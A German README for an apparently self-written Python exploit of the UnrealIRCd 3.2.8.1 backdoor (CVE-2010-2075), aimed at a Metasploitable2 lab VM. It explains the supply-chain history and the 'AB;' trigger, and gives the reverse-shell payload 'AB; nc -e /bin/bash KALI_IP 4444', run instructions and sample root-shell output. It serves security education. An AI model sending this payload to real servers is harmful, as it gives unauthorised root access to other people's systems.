UnrealIRCd 3.2.8.1 Backdoor-Exploit — Reverse Shell über AB; Trigger, von Grund auf in Python mit Raw Sockets entwickelt. Kein Metasploit.
UnrealIRCd ist ein Open-Source-IRC-Server (Internet Relay Chat) — ein Protokoll, das es Benutzern ermöglicht, in Echtzeit über ein Netzwerk zu kommunizieren, ähnlich frühen Chat-Plattformen.
In den Jahren 2009–2010 wurde entdeckt, dass UnrealIRCd 3.2.8.1, das über die offiziellen Download-Mirrors vertrieben wurde, kompromittiert worden war. Ein Angreifer hatte den legitimen Quellcode durch eine mit einer Backdoor versehene Version ersetzt, die einen versteckten Auslöser zur Befehlsausführung enthielt.
Dies war ein Supply-Chain-Angriff — identisch in seiner Natur zu CVE-2011-2523 (vsftpd 2.3.4). Die legitime Software wurde durch eine bösartig modifizierte Version ersetzt, bevor Benutzer sie herunterluden.
Die Backdoor überwacht alle eingehenden Daten auf Port 6667. Wenn eine Eingabe mit
der Zeichenkette AB; beginnt, wird alles danach übergeben —
unter vollständiger Umgehung aller IRC-Logik, Authentifizierung und Registrierungsprüfungen.
system()Der Auslöser feuert während der Verbindungsinitialisierungsphase, bevor der IRC-Server den Client überhaupt registriert. Kein NICK, kein USER, keine Authentifizierung erforderlich.
Angriffsablauf:
Attacker (Kali) Target (Metasploitable2)
1. s1 connects to port 6667
NICK + USER handshake → Server sends full banner
Read banner, check version
Confirm Unreal3.2.8.1
2. Open listener on port 4444
(waiting for incoming shell)
3. s2 connects to port 6667 → AB; nc -e /bin/bash KALI_IP 4444
→ system() executes immediately
→ netcat spawns bash, connects back
4. listener.accept() ← Incoming root shell connection
Interactive root shell
Dieser Exploit verwendet eine Reverse Shell — das Ziel verbindet sich zurück zum Angreifer, anstatt dass der Angreifer sich mit einem Port auf dem Ziel verbindet.
| Typ | Richtung | Verwendet in |
|---|---|---|
| Bind Shell | Angreifer → Ziel | CVE-2011-2523 (vsftpd) |
| Reverse Shell | Ziel → Angreifer | CVE-2010-2075 (UnrealIRCd) |
Reverse Shells umgehen eingehende Firewall-Regeln — ausgehende Verbindungen vom Ziel werden selten blockiert.
netcat auf dem Ziel installiert (standardmäßig auf Metasploitable2 vorhanden)git clone https://github.com/rushikesh-a-bhujbal/CVE-2010-2075.git
cd exploit-dev/CVE-2010-2075
Bearbeite main.py und setze:
kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"
Ausführen:
python3 main.py
Beispielausgabe:
[+] Vulnerable version confirmed. Proceeding...
[*] Listening on port 4444...
[+] Shell received from ('192.168.15.132', 58280)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/etc/unreal
> exit
| Szenario | Verhalten |
|---|---|
| Port 6667 geschlossen | Gibt "Port Closed" aus, beendet sich sauber |
| Falsche Version | Gibt "Not vulnerable" aus, beendet sich sauber |
| Ziel ruft nicht zurück | listener.accept() wartet (Timeout bei Bedarf hinzufügen) |
| Befehl erzeugt keine Ausgabe | recv() läuft stillschweigend in einen Timeout, kehrt zum Prompt zurück |
| CVE-2011-2523 (vsftpd) | CVE-2010-2075 (UnrealIRCd) | |
|---|---|---|
| Protokoll | FTP (Port 21) | IRC (Port 6667) |
| Auslöser | :) im Benutzernamen | AB;-Präfix bei jeder Eingabe |
| Shell-Typ | Bind Shell (Port 6200) | Reverse Shell (Port des Angreifers) |
| Verbindungen | 2 ausgehend | 1 ausgehend + 1 eingehend |
Dieser Exploit wurde ausschließlich zu Bildungszwecken und für autorisierte Sicherheitsforschung entwickelt.
Erstellt und getestet ausschließlich gegen eine lokale Metasploitable2-VM in einer vollständig isolierten Laborumgebung.
Verwende dies nicht gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche schriftliche Testgenehmigung hast. Unbefugte Nutzung ist illegal gemäß dem Computer Fraud and Abuse Act (CFAA) und entsprechenden Gesetzen weltweit.
Der Autor übernimmt keine Verantwortung für den Missbrauch dieses Codes.
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub